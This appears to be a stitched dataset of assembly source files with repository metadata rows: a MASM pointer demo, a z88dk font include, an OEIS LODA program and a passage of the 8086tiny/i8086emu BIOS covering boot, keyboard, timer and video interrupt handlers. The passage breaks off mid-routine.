arrayB BYTE 10h,20h,30h
arrayW WORD 1,2,3
arrayD DWORD 4,5,6
; Create some pointer variables.
ptr1 PBYTE arrayB
ptr2 PWORD arrayW
ptr3 PDWORD arrayD
.code
main PROC
; Use the pointers to access data.
mov esi,ptr1
mov al,[esi] ; 10h
mov esi,ptr2
mov ax,[esi] ; 1
mov esi,ptr3
mov eax,[esi] ; 4
exit
main ENDP
END main | 18.888889 | 52 | 0.672059 |
8aa6eec9a2c9429f5d0848753e53533b1e1afdb8 | 128 | asm | Assembly | libsrc/_DEVELOPMENT/font/fzx/fonts/utz/Blokz/_ff_utz_Blokz.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/font/fzx/fonts/utz/Blokz/_ff_utz_Blokz.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/font/fzx/fonts/utz/Blokz/_ff_utz_Blokz.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION rodata_font
SECTION rodata_font_fzx
PUBLIC _ff_utz_Blokz
_ff_utz_Blokz:
BINARY "font/fzx/fonts/utz/Blokz/blokz.fzx"
| 12.8 | 43 | 0.828125 |
e37677fa188608c5ca6431eb9510ddaa8b7b4863 | 539 | asm | Assembly | oeis/134/A134234.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/134/A134234.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/134/A134234.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A134234: Triangle read by rows, n-th row = n terms of 2n, 2n+2, 2n+4,...1; with a(1) = 1.
; Submitted by Christian Krause
; 1,4,1,6,8,1,8,10,12,1,10,12,14,16,1,12,14,16,18,20,1,14,16,18,20,22,24,1,16,18,20,22,24,26,28,1,18,20,22,24,26,28,30,32,1,20,22,24,26,28,30,32,34,36,1,22,24,26,28,30,32,34,36,38,40,1,24,26,28,30,32,34,36,38,40,42,44,1,26,28,30,32,34,36,38,40,42,44,46,48,1,28,30,32,34,36,38,40,42,44
lpb $0
add $1,1
sub $0,$1
lpe
sub $0,$1
mul $0,-1
add $1,1
mul $1,2
sub $1,$0
min $0,1
sub $1,1
mul $1,2
bin $1,$0
mov $0,$1
| 28.368421 | 284 | 0.6141 |
45ca8f02362baa5756c891ce24de1fef44082ea9 | 75,236 | asm | Assembly | bios/bios.asm | TheFox/i8086emu | bca11ee2267560d495391495e1a960b828e3273d | [
"MIT"
] | 26 | 2018-08-26T08:36:25.000Z | 2022-02-13T16:58:28.000Z | bios/bios.asm | TheFox/i8086emu | bca11ee2267560d495391495e1a960b828e3273d | [
"MIT"
] | 3 | 2018-06-24T13:30:59.000Z | 2018-06-24T13:31:52.000Z | bios/bios.asm | TheFox/i8086emu | bca11ee2267560d495391495e1a960b828e3273d | [
"MIT"
] | 1 | 2021-11-16T15:10:08.000Z | 2021-11-16T15:10:08.000Z | ; BIOS source for 8086tiny IBM PC emulator (revision 1.21 and above). Compiles with NASM.
; Copyright 2013-14, Adrian Cable (adrian.cable@gmail.com) - http://www.megalith.co.uk/8086tiny
; Copyright 2017, Christian Mayer (christian@fox21.at) - https://fox21.at
;
; Revision 1.61
;
; This work is licensed under the MIT License. See included LICENSE.TXT.
cpu 8086
; Here we define macros for some custom instructions that help the emulator talk with the outside
; world. They are described in detail in the hint.html file, which forms part of the emulator
; distribution.
%macro extended_putchar_al 0
db 0x0f, 0x00
%endmacro
%macro extended_get_rtc 0
db 0x0f, 0x01
%endmacro
%macro extended_read_disk 0
db 0x0f, 0x02
%endmacro
%macro extended_write_disk 0
db 0x0f, 0x03
%endmacro
%macro extended_stop 0
db 0x0f, 0x04
%endmacro
org 100h ; BIOS loads at offset 0x0100
main:
jmp bios_entry
; Here go pointers to the different data tables used for instruction decoding
; Starting @ 0x81
dw rm_mode12_reg1 ; Table 0: R/M mode 1/2 "register 1" lookup
dw rm_mode012_reg2 ; Table 1: R/M mode 1/2 "register 2" lookup
dw rm_mode12_disp ; Table 2: R/M mode 1/2 "DISP multiplier" lookup
dw rm_mode12_dfseg ; Table 3: R/M mode 1/2 "default segment" lookup
dw rm_mode0_reg1 ; Table 4: R/M mode 0 "register 1" lookup
dw rm_mode012_reg2 ; Table 5: R/M mode 0 "register 2" lookup
dw rm_mode0_disp ; Table 6: R/M mode 0 "DISP multiplier" lookup
dw rm_mode0_dfseg ; Table 7: R/M mode 0 "default segment" lookup
dw xlat_ids ; Table 8: Translation of raw opcode index ("Raw ID") to function number ("Xlat'd ID")
dw ex_data ; Table 9: Translation of Raw ID to Extra Data
dw std_flags ; Table 10: How each Raw ID sets the flags (bit 1 = sets SZP, bit 2 = sets AF/OF for arithmetic, bit 3 = sets OF/CF for logic)
dw parity ; Table 11: Parity flag loop-up table (256 entries)
dw base_size ; Table 12: Translation of Raw ID to base instruction size (bytes)
dw i_w_adder ; Table 13: Translation of Raw ID to i_w size adder yes/no
dw i_mod_adder ; Table 14: Translation of Raw ID to i_mod size adder yes/no
dw jxx_dec_a ; Table 15: Jxx decode table A
dw jxx_dec_b ; Table 16: Jxx decode table B
dw jxx_dec_c ; Table 17: Jxx decode table C
dw jxx_dec_d ; Table 18: Jxx decode table D
dw flags_mult ; Table 19: FLAGS multipliers
; These values (BIOS ID string, BIOS date and so forth) go at the very top of memory
biosstr db '8086tiny BIOS Revision 1.62', 0, 0 ; Why not?
mem_top db 0xea, 0, 0x01, 0, 0xf0, '03/08/14', 0, 0xfe, 0
bios_entry:
; Set up initial stack to F000:F000
mov sp, 0xf000
mov ss, sp
push cs
pop es
push ax
; The emulator requires a few control registers in memory to always be zero for correct
; instruction decoding (in particular, register look-up operations). These are the
; emulator's zero segment (ZS) and always-zero flag (XF). Because the emulated memory
; space is uninitialised, we need to be sure these values are zero before doing anything
; else. The instructions we need to use to set them must not rely on look-up operations.
; So e.g. MOV to memory is out but string operations are fine.
cld
; @TODO remove set REG_ZERO to 0 and set XF to 0. This is only needed by 8086tiny, not by i8086emu.
xor ax, ax
mov di, 24 ; REG_ZERO 12
stosw ; Set ZS = 0
mov di, 49 ; FLAG_XF 49
stosb ; Set XF = 0
; Now we can do whatever we want! DL starts off being the boot disk.
mov [cs:boot_device], dl
; Set up Hercules graphics support. We start with the adapter in text mode
push dx
mov dx, 0x3b8
mov al, 0
out dx, al ; Set Hercules support to text mode
mov dx, 0x3b4
mov al, 1 ; Hercules CRTC "horizontal displayed" register select
out dx, al
mov dx, 0x3b5
mov al, 0x2d ; 0x2D = 45 (* 16) = 720 pixels wide (GRAPHICS_X)
out dx, al
mov dx, 0x3b4
mov al, 6 ; Hercules CRTC "vertical displayed" register select
out dx, al
mov dx, 0x3b5
mov al, 0x57 ; 0x57 = 87 (* 4) = 348 pixels high (GRAPHICS_Y)
out dx, al
pop dx
pop ax
; Check cold boot/warm boot. We initialise disk parameters on cold boot only
cmp byte [cs:boot_state], 0 ; Cold boot?
jne boot
mov byte [cs:boot_state], 1 ; Set flag so next boot will be warm boot
; First, set up the disk subsystem. Only do this on the very first startup, when
; the emulator sets up the CX/AX registers with disk information.
; Compute the cylinder/head/sector count for the HD disk image, if present.
; Total number of sectors is in CX:AX, or 0 if there is no HD image. First,
; we put it in DX:CX.
mov dx, cx
mov cx, ax
mov [cs:hd_secs_hi], dx
mov [cs:hd_secs_lo], cx
cmp cx, 0
je maybe_no_hd
mov word [cs:num_disks], 2
jmp calc_hd
maybe_no_hd:
cmp dx, 0
je no_hd
mov word [cs:num_disks], 2
jmp calc_hd
no_hd:
mov word [cs:num_disks], 1
calc_hd:
mov ax, cx
mov word [cs:hd_max_track], 1
mov word [cs:hd_max_head], 1
cmp dx, 0 ; More than 63 total sectors? If so, we have more than 1 track.
ja sect_overflow
cmp ax, 63
ja sect_overflow
mov [cs:hd_max_sector], ax
jmp calc_heads
sect_overflow:
mov cx, 63 ; Calculate number of tracks
div cx
mov [cs:hd_max_track], ax
mov word [cs:hd_max_sector], 63
calc_heads:
mov dx, 0 ; More than 1024 tracks? If so, we have more than 1 head.
mov ax, [cs:hd_max_track]
cmp ax, 1024
ja track_overflow
jmp calc_end
track_overflow:
mov cx, 1024
div cx
mov [cs:hd_max_head], ax
mov word [cs:hd_max_track], 1024
calc_end:
; Convert number of tracks into maximum track (0-based) and then store in INT 41
; HD parameter table
mov ax, [cs:hd_max_head]
mov [cs:int41_max_heads], al
mov ax, [cs:hd_max_track]
mov [cs:int41_max_cyls], ax
mov ax, [cs:hd_max_sector]
mov [cs:int41_max_sect], al
dec word [cs:hd_max_track]
dec word [cs:hd_max_head]
; Main BIOS entry point. Zero the flags, and set up registers.
boot:
; Clear all flags.
mov ax, 0
push ax
popf
push cs
push cs
pop ds
pop ss
mov sp, 0xf000
; Set up the IVT. First we zero out the table
cld
xor ax, ax
mov es, ax
xor di, di
mov cx, 512
rep stosw
; Then we load in the pointers to our interrupt handlers
mov di, 0
mov si, int_table
mov cx, [itbl_size]
rep movsb
; Set pointer to INT 41 table for hard disk
mov cx, int41
mov word [es:4*0x41], cx
mov cx, 0xf000
mov word [es:4*0x41 + 2], cx
; Set up last 16 bytes of memory, including boot jump, BIOS date, machine ID byte
mov ax, 0xffff
mov es, ax
mov di, 0
mov si, mem_top
mov cx, 16
rep movsb
; Set up the BIOS data area
mov ax, 0x40
mov es, ax
mov di, 0
mov si, bios_data
mov cx, 0x100
rep movsb
; Clear video memory
mov ax, 0xb800
mov es, ax
mov di, 0
mov cx, 80*25
mov ax, 0x0700
rep stosw
; Clear video memory shadow buffer
mov ax, 0xc800
mov es, ax
mov di, 0
mov cx, 80*25
mov ax, 0x0700
rep stosw
; Set up some I/O ports, between 0 and FFF. Most of them we set to 0xFF, to indicate no device present
mov dx, 0x61
mov al, 0
out dx, al ; Make sure the speaker is off
mov dx, 0x60
out dx, al ; No scancode
mov dx, 0x64
out dx, al ; No key waiting
mov dx, 0
mov al, 0xFF
next_out:
inc dx
cmp dx, 0x40 ; We deal with the PIT channel 0 later
je next_out
cmp dx, 0x42 ; We deal with the PIT channel 2 later
je next_out
cmp dx, 0x3B8 ; We deal with the Hercules port later, too
je next_out
cmp dx, 0x60 ; Keyboard scancode
je next_out
cmp dx, 0x61 ; Sound output
je next_out
cmp dx, 0x64 ; Keyboard status
je next_out
out dx, al
cmp dx, 0xFFF
jl next_out ; RUN 161
mov al, 0 ; RUN 65618
mov dx, 0x3DA ; CGA refresh port
out dx, al
mov dx, 0x3BA ; Hercules detection port
out dx, al
mov dx, 0x3B8 ; Hercules video mode port
out dx, al
mov dx, 0x3BC ; LPT1
out dx, al
mov dx, 0x62 ; PPI - needed for memory parity checks
out dx, al
; Get initial RTC value
push cs
pop es
mov bx, timetable
extended_get_rtc ; RUN 65632
mov ax, [es:tm_msec]
mov [cs:last_int8_msec], ax
; Read boot sector from FDD, and load it into 0:7C00
mov ax, 0
mov es, ax
mov ax, 0x0201
mov dh, 0
mov dl, [cs:boot_device]
mov cx, 1
mov bx, 0x7c00
int 13h ; RUN 65645
; Jump to boot sector
;hlt
jmp 0:0x7c00
; ************************* INT 7h handler - keyboard driver (8086tiny internal)
int7: ; Whenever the user presses a key, INT 7 is called by the emulator.
; ASCII character of the keystroke is at 0040:this_keystroke
push ds
push es
push ax
push bx
push bp
push cs
pop ds
mov bx, 0x40 ; Set segment to BIOS data area segment (0x40)
mov es, bx
; Retrieve the keystroke
mov ax, [es:this_keystroke-bios_data]
mov byte [es:this_keystroke+1-bios_data], 0
real_key:
mov byte [cs:last_key_sdl], 0
test ah, 4 ; This key doesn't come from SDL
jz check_linux_bksp
mov byte [es:keyflags1-bios_data], 0
mov byte [es:keyflags2-bios_data], 0
mov byte [cs:last_key_sdl], 1 ; Key down from SDL
test ah, 0x40 ; Key up
jz sdl_check_specials
mov byte [cs:last_key_sdl], 2 ; Key up from SDL
sdl_check_specials:
mov bx, ax
and bh, 7 ; If key is between 52F and 534 (Shift/Ctrl/Alt), ignore the key state flags
cmp bx, 0x52f
je sdl_just_press_shift
cmp bx, 0x530
je sdl_just_press_shift
cmp bx, 0x533
je sdl_just_press_alt
cmp bx, 0x534
je sdl_just_press_alt
cmp bx, 0x531
je sdl_just_press_ctrl
cmp bx, 0x532
je sdl_just_press_ctrl
jmp sdl_check_alt
sdl_just_press_shift:
mov al, 0x36 ; Shift
and ah, 0x40 ; Key up?
add al, ah
add al, ah
call io_key_available
jmp i2_dne
sdl_just_press_alt:
mov al, 0x38 ; Alt
and ah, 0x40 ; Key up?
add al, ah
add al, ah
call io_key_available
jmp i2_dne
sdl_just_press_ctrl:
mov al, 0x1d ; Ctrl
and ah, 0x40 ; Key up?
add al, ah
add al, ah
call io_key_available
jmp i2_dne
sdl_check_alt:
test ah, 8 ; Alt+something?
jz sdl_no_alt
add byte [es:keyflags1-bios_data], 8
add byte [es:keyflags2-bios_data], 2
sdl_no_alt:
test ah, 0x20 ; Ctrl+something?
jz sdl_no_ctrl
add byte [es:keyflags1-bios_data], 4
sdl_no_ctrl:
test ah, 0x10 ; Shift+something?
jz sdl_no_mods
add byte [es:keyflags1-bios_data], 1
sdl_no_mods:
and ah, 1 ; We have processed all SDL modifiers, so remove them
;cmp ax, 160 ; Alt+Space?
;jne next_sdl_alt_keys
;mov al, ' '
;mov byte [es:this_keystroke-bios_data], al
check_sdl_f_keys:
cmp ax, 0x125
ja i2_dne ; Unknown key
cmp ax, 0x11a
jb check_sdl_pgup_pgdn_keys
sub ax, 0xdf ; F1 - F10
cmp ax, 0x45
jb check_sdl_f_keys2
add ax, 0x12 ; F11 - F12
check_sdl_f_keys2:
mov bh, al
mov al, 0
jmp sdl_scancode_xlat_done
check_sdl_pgup_pgdn_keys:
cmp ax, 0x116
jb check_sdl_cursor_keys
cmp ax, 0x119
ja check_sdl_cursor_keys
sub ax, 0x116
mov bx, pgup_pgdn_xlt
cs xlat
mov bh, al
mov al, 0
jmp sdl_scancode_xlat_done
check_sdl_cursor_keys:
cmp ax, 0x111 ; SDL cursor keys
jb sdl_process_key ; No special handling for other keys yet
sub ax, 0x111
mov bx, unix_cursor_xlt
xlat ; Convert SDL cursor keys to scancode
mov bh, al
mov al, 0
mov byte [es:this_keystroke-bios_data], 0
jmp sdl_scancode_xlat_done
sdl_process_key:
cmp ax, 0x100
jae i2_dne ; Unsupported key
cmp al, 0x7f ; SDL 0x7F backspace? Convert to 0x08
jne sdl_process_key2
mov al, 8
sdl_process_key2:
push ax
mov bx, a2scan_tbl ; ASCII to scancode table
xlat
mov bh, al
pop ax ; Scancode in BH, keycode in AL
sdl_scancode_xlat_done:
add bh, 0x80 ; Key up scancode
cmp byte [cs:last_key_sdl], 2 ; Key up?
je sdl_not_in_buf
sub bh, 0x80 ; Key down scancode
sdl_key_down:
mov [es:this_keystroke-bios_data], al
sdl_not_in_buf:
mov al, bh
call io_key_available
jmp i2_dne
check_linux_bksp:
cmp al, 0 ; Null keystroke - ignore
je i2_dne
cmp al, 0x7f ; Linux code for backspace - change to 8
jne after_check_bksp
mov al, 8
mov byte [es:this_keystroke-bios_data], 8
after_check_bksp:
cmp byte [es:next_key_fn-bios_data], 1 ; If previous keypress was Ctrl+F (signifying this key is is Fxx), skip checks for Ctrl+A (Alt+xx) and Ctrl+F (Fxx)
je i2_n
cmp al, 0x01 ; Ctrl+A pressed - this is the sequence for "next key is Alt+"
jne i2_not_alt
mov byte [es:keyflags1-bios_data], 8 ; Alt flag down
mov byte [es:keyflags2-bios_data], 2 ; Alt flag down
mov al, 0x38 ; Simulated Alt by Ctrl+A prefix?
call io_key_available
mov byte [es:next_key_alt-bios_data], 1
jmp i2_dne
i2_not_alt:
cmp al, 0x06 ; Ctrl+F pressed - this is the sequence for "next key is Fxx"
jne i2_not_fn
mov byte [es:next_key_fn-bios_data], 1
jmp i2_dne
i2_not_fn:
cmp byte [es:notranslate_flg-bios_data], 1 ; If no translation mode is on, just pass through the scan code. ASCII key is zero.
mov byte [es:notranslate_flg-bios_data], 0
jne need_to_translate
mov byte [es:this_keystroke-bios_data], 0
jmp after_translate
need_to_translate:
cmp al, 0xe0 ; Some OSes return scan codes after 0xE0 for things like cursor moves. So, if we find it, set a flag saying the next code received should not be translated.
mov byte [es:notranslate_flg-bios_data], 1
je i2_dne ; Don't add the 0xE0 to the keyboard buffer
mov byte [es:notranslate_flg-bios_data], 0
cmp al, 0x1b ; ESC key pressed. Either this a "real" escape, or it is UNIX cursor keys. In either case, we do nothing now, except set a flag
jne i2_escnext
; If the last key pressed was ESC, then we need to stuff it
cmp byte [es:escape_flag-bios_data], 1
jne i2_sf
; Stuff an ESC character
mov byte [es:this_keystroke-bios_data], 0x1b
mov al, 0x01
call keypress_release
i2_sf:
mov byte [es:escape_flag-bios_data], 1
jmp i2_dne
i2_escnext:
; Check if the last key was an escape character
cmp byte [es:escape_flag-bios_data], 1
jne i2_noesc
; It is, so check if this key is a [ control character
cmp al, '[' ; [ key pressed
je i2_esc
; It isn't, so stuff an ESC character plus this key
mov byte [es:this_keystroke-bios_data], 0x1b
mov al, 0x01
call keypress_release
; Now actually process this key
mov byte [es:escape_flag-bios_data], 0
mov al, [es:this_keystroke-bios_data]
jmp i2_noesc
i2_esc:
; Last + this characters are ESC ] - do nothing now, but set escape flag
mov byte [es:escape_flag-bios_data], 2
jmp i2_dne
i2_noesc:
cmp byte [es:escape_flag-bios_data], 2
jne i2_regular_key
; No shifts or Alt for cursor keys
mov byte [es:keyflags1-bios_data], 0
mov byte [es:keyflags2-bios_data], 0
; Last + this characters are ESC ] xxx - cursor key, so translate and stuff it
sub al, 'A'
mov bx, unix_cursor_xlt
xlat
mov byte [es:this_keystroke-bios_data], 0
jmp after_translate
i2_regular_key:
mov byte [es:notranslate_flg-bios_data], 0
mov bx, a2shift_tbl ; ASCII to shift code table
xlat
; Now, BL is 1 if shift is down, 0 otherwise. If shift is down, put a shift down scan code
; in port 0x60. Then call int 9. Otherwise, put a shift up scan code in, and call int 9.
push ax
; Put shift flags in BIOS, 0040:0017. Add 8 to shift flags if Alt is down.
mov ah, [es:next_key_alt-bios_data]
cpu 186
shl ah, 3
cpu 8086
add al, ah
cmp byte [es:this_keystroke-bios_data], 0x1A ; Ctrl+A to Ctrl+Z? Then add Ctrl to BIOS key flags
ja i2_no_ctrl
cmp byte [es:this_keystroke-bios_data], 0
je i2_no_ctrl
cmp byte [es:this_keystroke-bios_data], 0xD ; CR
je i2_no_ctrl
cmp byte [es:this_keystroke-bios_data], 0xA ; LF
je i2_no_ctrl
cmp byte [es:this_keystroke-bios_data], 0x8 ; Backspace
je i2_no_ctrl
cmp byte [es:this_keystroke-bios_data], 0x9 ; Tab
je i2_no_ctrl
add al, 4 ; Ctrl in key flags
push ax
mov al, 0x1d ; Ctrl key down
call io_key_available
pop ax
i2_no_ctrl:
mov [es:keyflags1-bios_data], al
cpu 186
shr ah, 2
cpu 8086
mov [es:keyflags2-bios_data], ah
pop ax
test al, 1 ; Shift down?
jz i2_n
mov al, 0x36 ; Right shift down
call io_key_available
i2_n:
mov al, [es:this_keystroke-bios_data]
mov bx, a2scan_tbl ; ASCII to scan code table
xlat
cmp byte [es:next_key_fn-bios_data], 1 ; Fxx?
jne after_translate
cmp byte [es:this_keystroke-bios_data], 1 ; Ctrl+F then Ctrl+A outputs code for Ctrl+A
je after_translate
cmp byte [es:this_keystroke-bios_data], 6 ; Ctrl+F then Ctrl+F outputs code for Ctrl+F
je after_translate
mov byte [es:this_keystroke-bios_data], 0 ; Fxx key, so zero out ASCII code
add al, 0x39
after_translate:
mov byte [es:escape_flag-bios_data], 0
mov byte [es:escape_flag_last-bios_data], 0
; If the key is actually an Alt+ key we use an ASCII code of 0 instead of the real value.
cmp byte [es:next_key_alt-bios_data], 1
jne skip_ascii_zero
mov byte [es:this_keystroke-bios_data], 0
skip_ascii_zero:
; Output key down/key up event (scancode in AL) to keyboard port
call keypress_release
; If scan code is not 0xE0, then also send right shift up if necessary
cmp al, 0xe0
je i2_dne
test byte [es:keyflags1-bios_data], 1
jz check_ctrl
mov al, 0xb6 ; Right shift up
call io_key_available
check_ctrl:
test byte [es:keyflags1-bios_data], 4
jz check_alt
mov al, 0x9d ; Right Ctrl up
call io_key_available
check_alt:
mov al, byte [es:next_key_alt-bios_data]
mov byte [es:next_key_alt-bios_data], 0
mov byte [es:next_key_fn-bios_data], 0
cmp al, 1
je endalt
jmp i2_dne
endalt:
mov al, 0xb8 ; Left Alt up
call io_key_available
i2_dne:
pop bp
pop bx
pop ax
pop es
pop ds
iret
; ************************* INT 9h handler - keyboard (PC BIOS standard)
int9:
push es
push ax
push bx
push bp
in al, 0x60
cmp al, 0x80 ; Key up?
jae no_add_buf
cmp al, 0x36 ; Shift?
je no_add_buf
cmp al, 0x38 ; Alt?
je no_add_buf
cmp al, 0x1d ; Ctrl?
je no_add_buf
mov bx, 0x40
mov es, bx
mov bh, al
mov al, [es:this_keystroke-bios_data]
; Tail of the BIOS keyboard buffer goes in BP. This is where we add new keystrokes
mov bp, [es:kbbuf_tail-bios_data]
mov byte [es:bp], al ; ASCII code
mov byte [es:bp+1], bh ; Scan code
; ESC keystroke is in the buffer now
add word [es:kbbuf_tail-bios_data], 2
call kb_adjust_buf ; Wrap the tail around the head if the buffer gets too large
no_add_buf:
mov al, 1
out 0x64, al
pop bp
pop bx
pop ax
pop es
iret
; ************************* INT Ah handler - timer (8086tiny internal)
inta:
; 8086tiny called interrupt 0xA frequently, at a rate dependent on the speed of your computer.
; This interrupt handler scales down the call rate and calls INT 8 at 18.2 times per second,
; as per a real PC.
; See if there is an ESC waiting from a previous INT 7h. If so, put it in the keyboard buffer
; (because by now - 1/18.2 secs on - we know it can't be part of an escape key sequence).
; Also handle CGA refresh register. Also release any keys that are still marked as down.
push ax
push bx
push dx
push bp
push es
push cx
push di
push ds
push si
call vmem_driver_entry ; CGA text mode driver - documented later
; Increment 32-bit BIOS timer tick counter, once every 18.2 ms
push cs
pop es
mov bx, timetable
extended_get_rtc
mov ax, [cs:tm_msec]
sub ax, [cs:last_int8_msec]
make_ctr_positive:
cmp ax, 0
jge no_add_1000
add ax, 1000
jmp make_ctr_positive
no_add_1000:
mov bx, 0x40
mov es, bx
mov dx, 0
mov bx, 1193
mul bx
mov bx, [es:timer0_freq-bios_data]
cmp bx, 0 ; 0 actually means FFFF
jne no_adjust_10000
mov bx, 0xffff
no_adjust_10000:
div bx ; AX now contains number of timer ticks since last int 8 (DX is remainder)
cmp ax, 0
je i8_end
add word [es:0x6C], ax
adc word [es:0x6E], 0
inta_call_int8:
push ax ; Workaround for CPM-86 - INT 1C destroys AX!!
int 8
pop ax
dec ax
cmp ax, 0
jne inta_call_int8
mov ax, [cs:tm_msec]
mov [cs:last_int8_msec], ax
skip_timer_increment:
; If last key was from SDL, don't simulate key up events (SDL will do it for us)
cmp byte [cs:last_key_sdl], 0
jne i8_end
; See if we have any keys down. If so, release them
cmp byte [es:key_now_down-bios_data], 0
je i8_no_key_down
mov al, [es:key_now_down-bios_data]
mov byte [es:key_now_down-bios_data], 0
add al, 0x80
call io_key_available
i8_no_key_down:
; See if we have a waiting ESC flag
cmp byte [es:escape_flag-bios_data], 1
jne i8_end
; Did we have one last two cycles as well?
cmp byte [es:escape_flag_last-bios_data], 1
je i8_stuff_esc
inc byte [es:escape_flag_last-bios_data]
jmp i8_end
i8_stuff_esc:
; Yes, clear the ESC flag and put it in the keyboard buffer
mov byte [es:escape_flag-bios_data], 0
mov byte [es:escape_flag_last-bios_data], 0
; mov bp, [es:kbbuf_tail-bios_data]
; mov byte [es:bp], 0x1b ; ESC ASCII code
; mov byte [es:bp+1], 0x01 ; ESC scan code
; ESC keystroke is in the buffer now
; add word [es:kbbuf_tail-bios_data], 2
; call kb_adjust_buf ; Wrap the tail around the head if the buffer gets too large
mov byte [es:this_keystroke-bios_data], 0x1b
; Push out ESC keypress/release
mov al, 0x01
call keypress_release
i8_end:
; A Hercules graphics adapter flips bit 7 of I/O port 3BA on refresh
mov dx, 0x3BA
in al, dx
xor al, 0x80
out dx, al
pop si
pop ds
pop di
pop cx
pop es
pop bp
pop dx
pop bx
pop ax
iret
; ************************* INT 8h handler - timer
int8:
int 0x1c
iret
; ************************* INT 10h handler - video services
int10:
cmp ah, 0x00 ; Set video mode
je int10_set_vm
cmp ah, 0x01 ; Set cursor shape
je int10_set_cshape
cmp ah, 0x02 ; Set cursor position
je int10_set_cursor
cmp ah, 0x03 ; Get cursur position
je int10_get_cursor
cmp ah, 0x06 ; Scroll up window
je int10_scrollup
cmp ah, 0x07 ; Scroll down window
je int10_scrolldown
cmp ah, 0x08 ; Get character at cursor
je int10_charatcur
cmp ah, 0x09 ; Write char and attribute
je int10_write_char_attrib
cmp ah, 0x0e ; Write character at cursor position
je int10_write_char
cmp ah, 0x0f ; Get video mode
je int10_get_vm
; cmp ah, 0x1a ; Feature check
; je int10_features
iret
int10_set_vm:
push dx
push cx
push bx
push es
cmp al, 4 ; CGA mode 4
je int10_switch_to_cga_gfx
cmp al, 5
je int10_switch_to_cga_gfx
cmp al, 6
je int10_switch_to_cga_gfx
push ax
mov dx, 0x3b8
mov al, 0
out dx, al
mov dx, 0x3b4
mov al, 1 ; Hercules CRTC "horizontal displayed" register select
out dx, al
mov dx, 0x3b5
mov al, 0x2d ; 0x2D = 45 (* 16) = 720 pixels wide (GRAPHICS_X)
out dx, al
mov dx, 0x3b4
mov al, 6 ; Hercules CRTC "vertical displayed" register select
out dx, al
mov dx, 0x3b5
mov al, 0x57 ; 0x57 = 87 (* 4) = 348 pixels high (GRAPHICS_Y)
out dx, al
mov dx, 0x40
mov es, dx
mov byte [es:0xac], 0 ; Tell emulator we are in Hercules mode
pop ax
cmp al, 7 ; If an app tries to set Hercules text mode 7, actually set mode 3 (we do not support mode 7's video memory buffer at B000:0)
je int10_set_vm_3
cmp al, 2 ; Same for text mode 2 (mono)
je int10_set_vm_3
jmp int10_set_vm_continue
int10_switch_to_cga_gfx:
; Switch to CGA-like graphics mode (with Hercules CRTC set for 640 x 400)
mov dx, 0x40
mov es, dx
mov [es:0x49], al ; Current video mode
mov byte [es:0xac], 1 ; Tell emulator we are in CGA mode
mov dx, 0x3b4
mov al, 1 ; Hercules CRTC "horizontal displayed" register select
out dx, al
mov dx, 0x3b5
mov al, 0x28 ; 0x28 = 40 (* 16) = 640 pixels wide (GRAPHICS_X)
out dx, al
mov dx, 0x3b4
mov al, 6 ; Hercules CRTC "vertical displayed" register select
out dx, al
mov dx, 0x3b5
mov al, 0x64 ; 0x64 = 100 (* 4) = 400 pixels high (GRAPHICS_Y)
out dx, al
mov dx, 0x3b8
mov al, 0x8a
out dx, al
mov bh, 7
call clear_screen
mov ax, 0x30
jmp svmn_exit
int10_set_vm_3:
mov al, 3
int10_set_vm_continue:
mov bx, 0x40
mov es, bx
mov [es:vidmode-bios_data], al
mov bh, 7 ; Black background, white foreground
call clear_screen ; ANSI clear screen
cmp byte [es:vidmode-bios_data], 6
je set6
mov al, 0x30
jmp svmn
set6:
mov al, 0x3f
svmn:
; Take Hercules adapter out of graphics mode when resetting video mode via int 10
push ax
mov dx, 0x3B8
mov al, 0
out dx, al
pop ax
svmn_exit:
pop es
pop bx
pop cx
pop dx
iret
int10_set_cshape:
push ds
push ax
push cx
mov ax, 0x40
mov ds, ax
mov byte [cursor_visible-bios_data], 1 ; Show cursor
and ch, 01100000b
cmp ch, 00100000b
jne cur_visible
mov byte [cursor_visible-bios_data], 0 ; Hide cursor
call ansi_hide_cursor
jmp cur_done
cur_visible:
call ansi_show_cursor
cur_done:
pop cx
pop ax
pop ds
iret
int10_set_cursor:
push ds
push ax
mov ax, 0x40
mov ds, ax
mov [curpos_y-bios_data], dh
mov [crt_curpos_y-bios_data], dh
mov [curpos_x-bios_data], dl
mov [crt_curpos_x-bios_data], dl
cmp dh, 24
jbe skip_set_cur_row_max
; If cursor is moved off the screen, then hide it
call ansi_hide_cursor
jmp skip_set_cur_ansi
skip_set_cur_row_max:
cmp dl, 79
jbe skip_set_cur_col_max
; If cursor is moved off the screen, then hide it
call ansi_hide_cursor
jmp skip_set_cur_ansi
skip_set_cur_col_max:
mov al, 0x1B ; ANSI
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, dh ; Row number
inc al
call puts_decimal_al
mov al, ';' ; ANSI
extended_putchar_al
mov al, dl ; Column number
inc al
call puts_decimal_al
mov al, 'H' ; Set cursor position command
extended_putchar_al
cmp byte [cursor_visible-bios_data], 1
jne skip_set_cur_ansi
call ansi_show_cursor
skip_set_cur_ansi:
pop ax
pop ds
iret
int10_get_cursor:
push es
mov cx, 0x40
mov es, cx
mov cx, 0x0607
mov dl, [es:curpos_x-bios_data]
mov dh, [es:curpos_y-bios_data]
pop es
iret
int10_scrollup:
push bx
push cx
push bp
push ax
mov bp, bx ; Convert from CGA to ANSI
mov cl, 12
ror bp, cl
and bp, 7
mov bl, byte [cs:bp+colour_table]
add bl, 10
